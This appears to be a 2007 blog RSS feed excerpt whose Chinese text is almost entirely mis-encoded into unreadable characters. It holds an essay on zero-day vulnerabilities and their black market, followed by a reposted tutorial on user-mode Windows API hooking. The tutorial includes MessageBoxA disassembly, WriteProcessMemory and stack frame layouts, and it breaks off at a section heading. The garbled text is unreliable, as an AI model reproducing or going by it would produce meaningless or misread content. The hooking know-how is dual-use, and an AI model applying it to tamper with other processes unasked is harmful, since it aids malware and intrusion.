鐫閲嶅ぇ瀹夊叏闅愭偅鐨勬紡媧炲憿錛燂紙Dtlogin榪滅▼婧㈠嚭婕忔礊浜?002騫磋鍙戠幇錛?004騫村叕甯冦傦級<br>銆銆鐪嬩笉瑙佺殑鎵嶆槸鏈鍙曠殑錛岃繖灝辨槸0Day鐨勭湡姝e▉鑳併?br>銆銆涓嶅彲閬垮厤鐨?Day<br>銆銆淇℃伅浠峰肩殑椋為熸彁鍗囷紝浜掕仈緗戝湪鍏ㄧ悆鐨勬櫘鍙婏紝鏁板瓧緇忔祹鐨勫箍娉涘簲鐢紝榪欎竴鍒囬兘鍒烘縺鐫淇℃伅瀹夊叏甯傚満鐨勪笉鏂墿澶э紝杞歡鐮磋В銆佸彛浠よВ瀵嗐侀棿璋嶈蔣浠躲佹湪椹梾姣掑叏閮ㄩ兘浠庢棭鏈熺殑浠呭仛鐮旂┒鍜屽悜浠栦漢鐐鐨勭洰鐨勮漿鍖栦負綰晢涓氬埄鐩婄殑榪愪綔錛屽茍榪呴熷湴浼犳挱寮鏉ワ紝浠庢搷浣滅郴緇熷埌鏁版嵁搴擄紝浠庡簲鐢ㄨ蔣浠跺埌絎笁鏂圭▼搴忓拰鎻掍歡錛屽啀鍒伴亶甯冨叏鐞冪殑婕忔礊鍙戝竷涓績錛岀湅鐪嬪畠浠綋涓湁澶氬皯0Day瀛樺湪錛熷彲浠ユ涓嶅じ寮犵殑璇達紝鍦ㄥ畨鍏ㄨˉ涓佺▼搴忓彂甯冧箣鍓嶏紝鎵鏈夌殑婕忔礊淇℃伅閮芥槸0Day錛屼絾鏄粠鏈彂甯冭繃瀹夊叏琛ヤ竵鐨勮蔣浠舵槸鍚﹀氨鎰忓懗鐫瀹冧滑褰撲腑涓嶅瓨鍦?Day鍛紵<br>銆銆鏈変漢璇達細“姣忎竴涓◢鍏瘋妯$殑搴旂敤杞歡閮藉彲鑳藉瓨鍦?Day銆?#8221;娌¢敊錛佷粠鐞嗚涓婅錛屾紡媧炲繀瀹氬瓨鍦紝鍙槸灝氭湭鍙戠幇錛岃屽譏琛ユ帾鏂芥案榪滄粸鍚庤屽凡銆?br>銆銆鍙鐢ㄦ埛鏂逛笉鐙嚜寮鍙戞搷浣滅郴緇熸垨搴旂敤紼嬪簭錛屾垨鑰呰鍙浣跨敤絎笁鏂圭殑杞歡錛?Day鐨勫嚭鐜板氨鏄繜鏃╃殑浜嬶紝鏃犺浣犳槸浣跨敤鏁版嵁搴撹繕鏄綉绔欑鐞嗗鉤鍙幫紝鏃犺浣犳槸浣跨敤濯掍綋鎾斁鍣ㄨ繕鏄粯鍥懼伐鍏鳳紝鍗充究鏄笓鑱屽畨鍏ㄩ槻鎶ょ殑杞歡紼嬪簭鏈韓錛岄兘浼氬嚭鐜板畨鍏ㄦ紡媧烇紝榪欏凡鏄笉浜夌殑浜嬪疄錛屼絾鏈鍙曠殑涓嶆槸婕忔礊瀛樺湪鐨勫厛澶╂э紝鑰屾槸0Day鐨勪笉鍙鐭ユс?br>銆銆浠庡紑婧愮殑瑙掑害涓婃潵璇達紝Linux鏇村鏄撴瘮灝侀棴婧愪唬鐮佺殑Windows瀛樺湪鏇村鐨?Day銆傞偅浜涜嚜浠ヤ負浣跨敤鐫瀹夊叏鎿嶄綔緋葷粺鐨勪漢錛岃繜鏃╀細琚?Day鏀誨嚮寮勫緱鍝戝彛鏃犺█銆傝屽井杞憿錛熻繙鏈塈IS鍜孖E錛岃繎鏈塛MF鍜孍xcel錛岀敱浜庡叾鎿嶄綔緋葷粺搴旂敤鐨勫箍娉涙э紝濡備粖宸叉槸琛ヤ竵鍔犺ˉ涓侊紝鏇存柊鍐嶆洿鏂幫紝鏈鏂版搷浣滅郴緇烿ista绔熺劧鍚湁鍑犱竾琛岀殑闂浠g爜銆傚皻鏈彂琛岋紝宸叉槸婊$洰鐤棈錛岃皝鍙堣兘淇濊瘉寰蔣鐨勬簮浠g爜娌℃湁涓濇娉勯湶鍛紵<br>銆銆0Day璧板悜浣曟柟<br>銆銆瓚婃潵瓚婂鐨勭牬瑙h呭拰榛戝浠紝宸茬粡鎶婄洰鍏変粠鐜囧厛鍙戝竷婕忔礊淇℃伅鐨勮崳瑾夋劅杞彉鍒板埄鐢ㄨ繖浜涙紡媧炶屽緱鍒扮殑緇忔祹鍒╃泭涓婏紝浜掕仈緗戝埌澶勫厖鏂ョ潃鏁頒互涓囪鐨勫厖婊″叆渚墊縺鎯呯殑鑴氭湰灝忓瓙錛屾洿涓嶇敤璇撮偅浜涗互紿冨彇淇℃伅涓鴻亴涓氱殑鍟嗕笟闂磋皪鍜屾儏鎶ヤ漢鍛樹簡銆備簬鏄紝0Day鏈変簡甯傚満銆?br>銆銆鍥藉涓ゅ勾鍓嶅氨鏈変簡0Day鐨勭綉涓婁氦鏄擄紝榛戝浠氳繃緗戜笂鎶ヤ環鍑哄敭鎵嬩腑鏈叕寮鐨勬紡媧炰俊鎭紝涓涓搷浣滅郴緇熸垨鏁版嵁搴撶殑榪滅▼婧㈠嚭婧愮爜鍙互鍗栧埌涓婂崈緹庡厓鐢氳嚦鏇撮珮錛涜屽浗鍐呯殑榛戝鍚岃錛屽墠涓嶄箙涔熷湪緗戜笂寤虹珛浜嗕竴涓笓闂ㄥ嚭鍞叆渚電▼搴忓彿縐頒腑鍥界涓0Day鐨勭綉绔欙紝灝界綾諱技鐨勬彁渚涢粦瀹㈠伐鍏風殑緗戠珯寰堝錛屼絾姝ょ綉绔欎笌鍏跺畠緗戠珯鐨勫尯鍒湪浜?Day鐨勭壒鎬у崄鍒嗘槑鏄撅細浠鋒牸杈冮珮鐨勬敾鍑葷▼搴忕殑鏀誨嚮瀵硅薄錛岃繕娌℃湁鐩稿簲鐨勫畨鍏ㄨˉ涓侊紝涔熷氨鏄榪欐牱鐨勬敾鍑葷▼搴忓緢鍙兘鍏鋒湁涓鍑誨繀涓殑鏁堟灉銆傝繖涓綉绔欐垚绔嬩笉涔呬究鍦ㄦ悳绱㈠紩鎿庝腑娑堝け浜嗭紝涔熻宸茬粡鍏抽棴錛屼篃璁歌漿鍏ュ湴涓嬨備絾涓嶇鎬庢牱錛?Day甯︽潵鐨勬綔鍦ㄧ粡嫻庡埄鐩婁笉鍙姽鏉錛岃屽叾灝嗘潵瀵逛俊鎭畨鍏ㄧ殑褰卞搷浠ュ強鍗卞涔熺粷涓嶈兘杞昏銆?br>銆銆杞歡涓婄殑0Day鍑犱箮涓嶅彲閬垮厤錛岄偅紜歡鍛紵紜歡鏄惁瀛樺湪0Day錛熺瓟妗堟棤鐤戞槸鑲畾鐨勩傝繎騫存潵錛屾濈璺敱鍣ㄦ紡媧為綣佸嚭鐜幫紝浠婂勾2鏈堬紝宸茶鏇濆厜鐨勬煇鐭ュ悕緗戠粶浜у搧婕忔礊鑷充粖浠嶆湭琚慨澶嶃傚浜庨偅浜涘熀浜嶪P鍗忚榪炴帴緗戠粶鐨勮礬鐢便佺綉鍏熾佷氦鎹㈡満錛屽摢涓數淇¤繍钀ュ晢鏁㈢櫨鍒嗕箣鐧懼湴 淇濊瘉鑷繁鐨勭綉緇滆澶囦竾鏃犱竴澶憋紵錛?005騫?鏈?1鏃ワ紝鍏ㄥ浗瓚呰繃浜屽崄涓煄甯傜殑浜掕仈緗戝嚭鐜扮兢鍙戞ф晠闅滐紱鍚屽勾7鏈?2鏃ワ紝鍖椾含20涓嘇DSL鐢ㄦ埛鏂綉錛夈?br>銆銆鏃╁湪涓ゅ勾鍓嶏紝鑻辯壒灝旂殑棣栧腑鎶鏈畼灝辨彁鍑鴻繃浜掕仈緗戜笉鑳芥壙鍙椾笌鏃ヤ勘澧炵殑浣跨敤鑰呰繖涓鎯蟲硶錛屽綋鏃訛紝琚緢澶氫漢璁や負鏄棤紼戒箣璋堛備粖騫?鏈堬紝鍦ㄧ編鍥界殑鍟嗕笟鍦嗘浼氳涓婏紝鍖呮嫭鎯犳櫘鍏徃銆両BM鍏徃銆丼un鍏徃銆侀氱敤姹借濺鍏徃銆佸寰楀疂鍏徃鍜屽彲鍙e彲涔愬叕鍙哥瓑鍦ㄥ唴鐨?60涓紒涓氫唬琛ㄥ懠鍚佹斂搴滆瀵瑰彂鐢熷ぇ瑙勬ā緗戠粶鏁呴殰鐨勫彲鑳芥у仛濂藉噯澶囧伐浣?#8230;…<br>銆銆褰撲粖鐨勪簰鑱旂綉錛岀梾姣掋佽爼铏佸兊灝哥綉緇溿侀棿璋嶈蔣浠躲丏DoS鐘瑰媧按鑸硾婊ワ紝鎵鏈夌殑榪欎竴鍒囬兘鎴栧鎴栧皯鍦頒粠0Day璧拌繃錛屽彲浠ラ嫻嬶紝鍦ㄤ笉榪滅殑灝嗘潵錛屼簰鑱旂綉鐦棯緇濅笉閬ヨ繙銆?br>銆銆閭d箞鏀垮簻綆$悊鑰呫佺數淇¤繍钀ュ晢銆佸畨鍏ㄥ巶鍟嗭紝榪樻湁鍏ㄤ笘鐣岀殑浜掕仈緗戠敤鎴鳳紝闈㈠0Day錛屾垜浠噯澶囧ソ浜嗗悧錛? <img src ="http://www.shnenglu.com/saga/aggbug/24438.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-05-20 15:20 <a href="http://www.shnenglu.com/saga/archive/2007/05/20/24438.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[杞澆]鐢ㄦ埛灞備笅鎷︽埅緋葷粺api鐨勫師鐞嗕笌瀹炵幇http://www.shnenglu.com/saga/archive/2007/01/22/17891.htmlsaga.constantinesaga.constantineMon, 22 Jan 2007 08:49:00 GMThttp://www.shnenglu.com/saga/archive/2007/01/22/17891.htmlhttp://www.shnenglu.com/saga/comments/17891.htmlhttp://www.shnenglu.com/saga/archive/2007/01/22/17891.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/17891.htmlhttp://www.shnenglu.com/saga/services/trackbacks/17891.html**杞澆**
**鎴戣嚜宸辯湅浜嗙湅榪欑墖鏂囩珷錛岃繕涓嶉敊錛佺▼搴忎篃鍙互緙栬瘧鍑烘潵**

鏂囩珷浣滆咃細kiki
淇℃伅鏉ユ簮錛氶偑鎭跺叓榪涘埗淇℃伅瀹夊叏鍥㈤槦錛?/font> www.eviloctal.com 錛?br />鏈枃绔犻鍙?/font> 榛戣壊嫻峰哺綰跨綉緇滃畨鍏ㄦ妧鏈鍧?/font> 錛屽悗鐢眐iki鍙嬫儏鎻愪氦鍒伴偑鎭跺叓榪涘埗淇℃伅瀹夊叏鍥㈤槦

聽聽聽聽聽聽聽聽聽鎷︽埅api鐨勬妧鏈湁寰堝縐嶏紝澶т綋鍒嗕負鐢ㄦ埛灞傚拰鍐呮牳灞傜殑鎷︽埅錛庤繖閲屽彧璇磋鐢ㄦ埛灞傜殑鎷︽埅錛庤岀敤鎴峰眰涔熷垎涓鴻澶氱錛氫慨鏀筆E鏂囦歡瀵煎叆琛紝鐩存帴淇敼瑕佹嫤鎴殑api鐨勫唴瀛橈紙浠庡紑濮嬪埌鏈鍚庯紝浣跨▼搴忚煩杞埌鎸囧畾鐨勫湴鍧鎵ц錛夛紟涓嶈繃澶ч儴鍒嗗師鐞嗛兘鏄慨鏀圭▼搴忔祦紼嬶紝浣夸箣璺寵漿鍒頒綘瑕佹墽琛岀殑鍦版柟錛岀劧鍚庡啀榪斿洖鍒板師鍦板潃錛庡師鏉pi鐨勫姛鑳藉繀欏昏繕鑳藉疄鐜幫紟鍚﹀垯鎷︽埅灝卞け鍘諱綔鐢ㄤ簡錛庝慨鏀規枃浠跺鍏ヨ〃鐨勬柟娉曠殑緙虹偣鏄鏋滅敤鎴風▼搴忓姩鎬佸姞杞斤紙浣跨敤LoadLibrary鍜孏etProcAddress鍑芥暟錛夛紝鎷︽埅灝嗗彉寰楀鏉備竴浜涳紟鎵浠ヨ繖閲屼粙緇嶄竴涓嬬浜岀鏂規硶錛岀洿鎺ヤ慨鏀筧pi錛屽綋鐒朵笉鏄叏灞鐨勶紟錛堝悗闈細璇村埌錛?br />
銆銆闇瑕佷簡瑙g殑涓浜涚煡璇嗭細

銆銆錛戯紟windows鍐呭瓨鐨勭粨鏋勫睘鎬у拰榪涚▼鍦板潃絀洪棿

銆銆錛掞紟鍑芥暟鍫嗘爤鐨勪竴浜涚煡璇?br />


涓錛歸in2000鍜寈p鐨勫唴瀛樼粨鏋勫拰榪涚▼鍦板潃絀洪棿

聽 windows閲囩敤4GB騫沖潶铏氭嫙鍦板潃絀洪棿鐨勫仛娉曘傚嵆姣忎釜榪涚▼鍗曠嫭鎷ユ湁4GB鐨勫湴鍧絀洪棿銆傛瘡涓繘紼嬪彧鑳借闂嚜宸辯殑榪?GB鐨勮櫄鎷熺┖闂達紝鑰屽浜庡叾浠栬繘紼嬬殑鍦板潃絀洪棿鍒欐槸涓嶅彲瑙佺殑銆傝繖鏍蜂繚璇佷簡榪涚▼鐨勫畨鍏ㄦу拰紼沖畾鎬с備絾鏄紝榪?GB鐨勭┖闂存槸涓涓櫄鎷熺┖闂達紝鍦ㄤ嬌鐢ㄤ箣鍓嶏紝鎴戜滑蹇呴』鍏堜繚鐣欎竴孌佃櫄鎷熷湴鍧錛岀劧鍚庡啀涓鴻繖孌佃櫄鎷熷湴鍧鎻愪氦鐗╃悊瀛樺偍鍣ㄣ傚彲鏄垜浠殑鍐呭瓨澶ч儴鍒嗛兘榪樻病鏈?GB錛岄偅涔堣繖4GB鐨勫湴鍧絀洪棿鏄浣曞疄鐜扮殑鍛紵浜嬪疄涓妛indows閲囩敤鐨勫唴瀛樻槧灝勮繖縐嶆柟娉曪紝鍗蟲妸鐗╃悊紓佺洏褰撲綔鍐呭瓨鏉ヤ嬌鐢紝姣斿鎴戜滑鎵撳紑涓涓彲鎵ц鏂囦歡鐨勬椂鍊欙紝鎿嶄綔緋葷粺浼氫負鎴戜滑寮杈熻繖涓?GB鐨勫湴鍧絀洪棿錛?x00000000--0xffffffff銆傚叾涓?x00000000--0x7fffffff鏄睘浜庣敤鎴峰眰鐨勭┖闂?0x80000000--0xffffffff鍒欏睘浜庡叡浜唴鏍告柟寮忓垎鍖猴紝涓昏鏄搷浣滅郴緇熺殑綰跨▼璋冨害錛屽唴瀛樼鐞嗭紝鏂囦歡緋葷粺鏀寔錛岀綉緇滄敮鎸佸拰鎵鏈夎澶囬┍鍔ㄧ▼搴忋傚浜庣敤鎴峰眰鐨勮繘紼嬶紝榪欎簺鍦板潃絀洪棿鏄笉鍙闂殑銆備換浣曡闂兘灝嗗鑷翠竴涓敊璇傚紑杈熻繖4GB鐨勮櫄鎷熷湴鍧絀洪棿涔嬪悗錛岀郴緇熶細鎶婄鐩樹笂鐨勬墽琛屾枃浠舵槧灝勫埌榪涚▼鐨勫湴鍧絀洪棿涓幓(涓鑸槸鍦ㄥ湴鍧0x00400000錛屽彲浠ラ氳繃淇敼緙栬瘧閫夐」鏉ヤ慨鏀硅繖涓湴鍧)鑰屼竴涓繘紼嬭繍琛屾墍闇瑕佺殑鍔ㄦ佸簱鏂囦歡鍒欎竴鑸粠0x10000000寮濮嬪姞杞姐備絾鏄鏋滄墍鏈夌殑鍔ㄦ佸簱閮藉姞杞藉埌榪欎釜浣嶇疆鑲畾浼氬紩璧峰啿紿併傚洜姝ゅ繀欏誨涓浜涘彲鑳藉紩璧峰啿紿佺殑dll緙栬瘧鏃墮噸鏂頒慨鏀瑰熀鍦板潃銆備絾鏄浜庢墍鏈夌殑鎿嶄綔緋葷粺鎵鎻愪緵鐨勫姩鎬佸簱windows宸茬粡瀹氫箟濂戒簡鏄犲皠鍦ㄦ寚瀹氱殑浣嶇疆銆傝繖涓綅緗細闅忕潃鐗堟湰鐨勪笉鍚岃屼細鏈夋墍鏀瑰彉錛屼笉榪囧浜庡悓涓鍙版満鍣ㄤ笂鐨勬槧灝勫湴鍧鏉ヨ閮芥槸涓鏍風殑銆傚嵆鍦╝榪涚▼閲屾槧灝勭殑kernel32.dll鐨勫湴鍧鍜屽湪榪涚▼b閲岀殑kernel32.dll鐨勫湴鍧鏄竴鏍風殑銆傚浜庢枃浠舵槧灝勬槸涓縐嶇壒孌婄殑鏂瑰紡錛屼嬌寰楃▼搴忎笉闇瑕佽繘琛岀鐩榠/o灝辮兘瀵圭鐩樻枃浠惰繘琛屾搷浣滐紝鑰屼笖鏀寔澶氱淇濇姢灞炴с傚浜庝竴涓鏄犲皠鐨勬枃浠訛紝涓昏鏄嬌鐢–reateFileMapping鍑芥暟錛屽埄鐢ㄤ粬鎴戜滑鍙互璁懼畾涓浜涜鍐欏睘鎬?PAGE_READONLY,PAGE_READWRITE,PAGE_WRITECOPY.絎竴鍙傛暟鎸囧畾鍙兘瀵硅鏄犲皠鏂囦歡榪涜璇繪搷浣溿備換浣曞啓鎿嶄綔灝嗗鑷村唴瀛樿闂敊璇傜浜屼釜鍙傛暟鍒欐寚鏄庡彲浠ュ鏄犲皠鏂囦歡榪涜璇誨啓銆傝繖鏃跺欙紝浠諱綍瀵規枃浠剁殑璇誨啓閮芥槸鐩存帴鎿嶄綔鏂囦歡鐨勩傝屽浜庣涓変釜鍙傛暟PAGE_WRITECOPY欏懼悕鎬濅箟灝辨槸鍐欏叆鏃舵嫹璐濓紝浠諱綍鍚戣繖孌靛唴瀛樺啓鍏ョ殑鎿嶄綔(鍥犱負鏂囦歡鏄槧灝勫埌榪涚▼鍦板潃絀洪棿鐨勶紝瀵硅繖孌電┖闂寸殑璇誨啓灝辯浉褰撲簬瀵規枃浠惰繘琛岀殑鐩存帴璇誨啓)閮藉皢琚郴緇熸崟鑾鳳紝騫墮噸鏂板湪浣犵殑铏氭嫙鍦板潃絀洪棿閲嶆柊淇濈暀騫跺垎閰嶄竴孌靛唴瀛橈紝浣犳墍鍐欏叆鐨勪竴鍒囦笢瑗塊兘灝嗗湪榪欓噷錛岃屼笖浣犲師鍏堢殑鎸囧悜鏄犲皠鏂囦歡鐨勫唴瀛樺湴鍧涔熶細瀹為檯鎸囧悜榪欐閲嶆柊鍒嗛厤鐨勫唴瀛橈紝浜庢槸鍦ㄨ繘紼嬬粨鏉熷悗錛屾槧灝勬枃浠跺唴瀹瑰茍娌℃湁鏀瑰彉錛屽彧鏄湪榪愯鏈熼棿鍦ㄩ偅孌電鏈夋嫹璐濈殑鍐呭瓨閲岄潰瀛樺湪鐫浣犱慨鏀圭殑鍐呭銆倃indows榪涚▼榪愯鎵闇瑕佹槧灝勭殑涓浜涚郴緇焏ll灝辨槸浠ヨ繖縐嶆柟寮忔槧灝勭殑錛屾瘮濡傚父鐢ㄧ殑ntdll.dll,kernel32.dll,gdi32.dll.鍑犱箮鎵鏈夌殑榪涚▼閮戒細鍔犺澆榪欎笁涓姩鎬佸簱銆傚鏋滀綘鍦ㄤ竴涓繘紼嬮噷淇敼榪欎釜鏄犲皠鏂囦歡鐨勫唴瀹癸紝騫朵笉浼氬獎鍝嶅埌鍏朵粬鐨勮繘紼嬩嬌鐢ㄤ粬浠備綘鎵淇敼鐨勫彧鏄湪鏈繘紼嬬殑鍦板潃絀洪棿涔嬪唴鐨勩備簨瀹炰笂鍘熷鏂囦歡騫舵病鏈夎鏀瑰彉銆?br />榪欐牱錛屽湪鍚庨潰鐨勪慨鏀圭郴緇焌pi鐨勬椂鍊欙紝瀹為檯灝辨槸淇敼榪欎簺鍔ㄦ佸簱鍦板潃鍐呯殑鍐呭銆傚墠闈㈣鍒拌繖涓嶆槸淇敼鍏ㄥ眬api灝辨槸榪欎釜鍘熷洜錛屽洜涓轟粬浠兘鏄互鍐欏叆鏃舵嫹璐濈殑鏂瑰紡鏉ユ槧灝勭殑銆備笉榪囪繖宸茬粡瓚沖浜嗭紝windows鎻愪緵浜?涓己澶х殑鍐呭瓨鎿嶄綔鍑芥暟ReadProcessMemory鍜學riteProcessMemory.鍒╃敤榪欎袱涓嚱鏁版垜浠氨鍙互闅忎究瀵逛換鎰忚繘紼嬬殑浠繪剰鐢ㄦ埛鍦板潃絀洪棿榪涜璇誨啓浜嗐備絾鏄紝鐜板湪鏈変竴涓棶棰橈紝鎴戜滑璇ュ啓浠涔堬紝璇翠簡鍗婂ぉ錛屾庝箞瀹炵幇璺寵漿鍛紵鐜板湪鏉ョ湅涓涓畝鍗曠殑渚嬪瓙錛?br />MessageBox(NULL, "World", "Hello", 0);
鎴戜滑鍦ㄦ墽琛岃繖鏉¤鍙ョ殑鏃跺欙紝璋冪敤浜嗙郴緇焌pi MessageBox錛屽疄闄呬笂鍦ㄧ▼搴忎腑鎴戞病鏈夊畾涔塙NICODE瀹忥紝緋葷粺璋冪敤鐨勬槸MessageBox鐨凙NSI鐗堟湰MessageBoxA,榪欎釜鍑芥暟鏄敱user32.dll瀵煎嚭鐨勩備笅闈㈡槸鎵ц榪欐潯璇彞鐨勬眹緙栦唬鐮侊細
0040102A 聽 push 聽 聽 0
0040102C 聽 push 聽 聽 offset string "Hello" (0041f024)
00401031 聽 push 聽 聽 offset string "World" (0041f01c)
00401036 聽 push 聽 聽 0
00401038 聽 call 聽 聽 dword ptr [__imp__MessageBoxA@16 (0042428c)]
鍓嶉潰鍥涙潯鎸囦護鍒嗗埆涓哄弬鏁板帇鏍堬紝鍥犱負MessageBoxA鏄痏_stdcall璋冪敤綰﹀畾錛屾墍浠ュ弬鏁版槸浠庡彸寰宸﹀帇鏍堢殑銆傛渶鍚庡啀CALL 0x0042428c

鐪嬬湅0042428c榪欐鍐呭瓨鐨勫鹼細
0042428C 0B 05 D5 77 00 00 00
鍙互鐪嬪埌榪欎釜鍊?x77d5050b,姝f槸user32.dll瀵煎嚭鍑芥暟MessageBoxA鐨勫叆鍙e湴鍧銆?br />
榪欐槸0x77D5050B澶勭殑鍐呭錛?
77D5050B 8B FF 聽 聽 聽 聽 聽 mov 聽 聽 聽 edi,edi
77D5050D 55 聽 聽 聽 聽 聽 聽 push 聽 聽 ebp
77D5050E 8B EC 聽 聽 聽 聽 聽 mov 聽 聽 聽 ebp,esp
鐞嗚涓婂彧瑕佹敼鍙榓pi鍏ュ彛鍜屽嚭鍙g殑浠諱綍鏈哄櫒鐮侊紝閮藉彲浠ユ嫤鎴api銆傝繖閲屾垜閫夋嫨鏈綆鍗曠殑淇敼鏂規硶錛岀洿鎺ヤ慨鏀筧pi鍏ュ彛鐨勫墠鍗佷釜瀛楄妭鏉ュ疄鐜拌煩杞備負浠涔堟槸鍗佸瓧鑺傚憿錛熷叾瀹炰慨鏀瑰灝戝瓧鑺傞兘娌℃湁鍏崇郴錛屽彧瑕佸疄鐜頒簡鍑芥暟鐨勮煩杞箣鍚庯紝浣犺兘鎶婁粬浠仮澶嶅茍璁╀粬緇х畫榪愯鎵嶆槸鏈閲嶈鐨勩傚湪CPU鐨勬寚浠ら噷錛屾湁鍑犳潯鎸囦護鍙互鏀瑰彉紼嬪簭鐨勬祦紼嬶細JMP錛孋ALL錛孖NT錛孯ET錛孯ETF錛孖RET絳夋寚浠ゃ傝繖閲屾垜閫夋嫨CALL鎸囦護錛屽洜涓轟粬鏄互鍑芥暟璋冪敤鐨勬柟寮忔潵瀹炵幇璺寵漿鐨勶紝榪欐牱鍙互甯︿竴浜涗綘闇瑕佺殑鍙傛暟銆傚埌榪欓噷錛屾垜璇ヨ璇村嚱鏁扮殑鍫嗘爤浜嗐?br />
鎬葷粨錛歸indows榪涚▼鎵闇瑕佺殑鍔ㄦ佸簱鏂囦歡閮芥槸浠ュ啓鍏ユ椂鎷瘋礉鐨勬柟寮忔槧灝勫埌榪涚▼鍦板潃絀洪棿涓殑銆傝繖鏍鳳紝鎴戜滑鍙兘鎷︽埅鎸囧畾鐨勮繘紼嬨備慨鏀圭洰鏍囪繘紼嬪湴鍧絀洪棿涓殑鎸囧畾api鐨勫叆鍙e拰鍑哄彛鍦板潃涔嬮棿鐨勪換鎰忔暟鎹紝浣夸箣璺寵漿鍒版垜浠殑鎷︽埅浠g爜涓幓錛岀劧鍚庡啀鎭㈠榪欎簺瀛楄妭錛屼嬌涔嬭兘欏哄埄宸ヤ綔銆?br />



浜岋細鍑芥暟鍫嗘爤鐨勪竴浜涚煡璇?br />
聽 姝e鍓嶉潰鎵鐪嬪埌MessageBoxA鍑芥暟鎵ц涔嬪墠鐨勬眹緙栦唬鐮侊紝棣栧厛灝嗗洓涓弬鏁板帇鏍堬紝鐒跺悗CALL MessageBoxA錛岃繖鏃跺欐垜浠殑綰跨▼鍫嗘爤鐪嬭搗鏉ュ簲璇ユ槸榪欐牱鐨勶細

| 聽 | 聽 <---ESP
|榪斿洖鍦板潃|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|.. 聽 |

鎴戜滑鍐嶇湅MessageBoxA鐨勬眹緙栦唬鐮侊紝
77D5050B 8B FF 聽 聽 聽 聽 聽 mov 聽 聽 聽 edi,edi
77D5050D 55 聽 聽 聽 聽 聽 聽 push 聽 聽 ebp
77D5050E 8B EC 聽 聽 聽 聽 聽 mov 聽 聽 聽 ebp,esp
娉ㄦ剰鍒板爢鏍堢殑鎿嶄綔鏈塒USH ebp,榪欐槸淇濆瓨褰撳墠鐨勫熀鍧鎸囬拡錛屼互渚夸竴浼氬効鎭㈠鍫嗘爤鍚庤繑鍥炶皟鐢ㄧ嚎紼嬫椂浣跨敤錛岀劧鍚庡啀鏈塵ov ebp,esp灝辨槸鎶婂綋鍓峞sp鐨勫艱祴緇檈bp錛岃繖鏃跺欐垜浠氨鍙互浣跨敤 ebp+鍋忕Щ 鏉ヨ〃紺哄爢鏍堜腑鐨勬暟鎹紝姣斿鍙傛暟1灝卞彲浠ヨ〃紺烘垚[ebp+8]錛岃繑鍥炲湴鍧灝卞彲浠ヨ〃紺烘垚[ebp+4]..濡傛灉鎴戜滑鍦ㄦ嫤鎴殑鏃跺欒瀵硅繖浜涘弬鏁板拰榪斿洖鍦板潃鍋氫換浣曞鐞嗭紝灝卞彲浠ヤ嬌鐢ㄨ繖縐嶆柟娉曘傚鏋滆繖涓椂鍊欏嚱鏁版湁灞閮ㄥ彉閲忕殑璇濓紝灝遍氳繃鍑忓皬ESP鐨勫肩殑鏂瑰紡鏉ヤ負涔嬪垎閰嶇┖闂淬傛帴涓嬫潵灝辨槸淇濆瓨涓浜涘瘎瀛樺櫒錛欵DI,ESI,EBX.瑕佹敞鎰忕殑鏄紝鍑芥暟鍫嗘爤鏄弽鏂瑰悜鐢熼暱鐨勩傝繖鏃跺欏爢鏍堢殑鏍峰瓙錛?br />|....|
|EDI| <---ESP
|ESI|
|EBX|
|灞閮ㄥ彉閲弢
|EBP 聽 | 聽
|榪斿洖鍦板潃|
|鍙傛暟1|
|鍙傛暟2|
|鍙傛暟3|
|鍙傛暟4|
|.. 聽 |

鍦ㄥ嚱鏁拌繑鍥炵殑鏃跺欙紝鐢卞嚱鏁拌嚜韜潵榪涜鍫嗘爤鐨勬竻鐞嗭紝榪欐椂鍊欐竻鐞嗙殑欏哄簭鍜屽紑濮嬪叆鏍堢殑欏哄簭鎭版伆鐩稿弽錛岀被浼肩殑姹囩紪浠g爜鍙兘鏄繖鏍風殑錛?br />
pop edi
pop esi
pop ebx
add esp, 4
pop ebp
ret 0010
鍏堟仮澶嶉偅浜涘瘎瀛樺櫒鐨勫鹼紝鐒跺悗閫氳繃澧炲姞ESP鐨勫肩殑鏂瑰紡鏉ラ噴鏀懼眬閮ㄥ彉閲忋傝繖閲屽彲浠ョ敤mov esp, ebp鏉ュ疄鐜版竻絀烘墍鏈夊眬閮ㄥ彉閲忓拰鍏朵粬涓浜涚┖闂插垎閰嶇┖闂淬傛帴鐫鍑芥暟浼氭仮澶岴BP鐨勫鹼紝鍒╃敤鎸囦護POP EBP鏉ユ仮澶嶈瀵勫瓨鍣ㄧ殑鍊箋傛帴鐫鍑芥暟榪愯ret 0010榪欎釜鎸囦護銆傝鎸囦護鐨勬剰鎬濇槸錛屽嚱鏁版妸鎺у埗鏉冧氦緇欏綋鍓嶆爤欏剁殑鍦板潃鐨勬寚浠わ紝鍚屾椂娓呯悊鍫嗘爤鐨?6瀛楄妭鐨勫弬鏁般傚鏋滃嚱鏁版湁榪斿洖鍊肩殑璇濓紝閭e湪EAX瀵勫瓨鍣ㄤ腑淇濆瓨鐫褰撳墠鍑芥暟鐨勮繑鍥炲箋傚鏋滄槸__cdecl璋冪敤鏂瑰紡錛屽垯鎵цret鎸囦護錛屽浜庡爢鏍堝弬鏁扮殑澶勭悊浜ょ粰璋冪敤綰跨▼鍘誨仛銆傚wsprintf鍑芥暟銆?br />
榪欎釜鏃跺欏爢鏍堝張鎭㈠浜嗗師鏉ョ殑鏍峰瓙銆傜嚎紼嬪緱浠ョ戶緇線涓嬫墽琛?..
鍦ㄦ嫤鎴猘pi鐨勮繃紼嬩箣涓竴涓噸瑕佺殑浠誨姟灝辨槸淇濊瘉鍫嗘爤鐨勬紜с備綘瑕佺悊娓呮瘡涓姝ュ爢鏍堜腑鍙戠敓浜嗕粈涔堛?br />


涓夛細褰㈡垚鎬濊礬

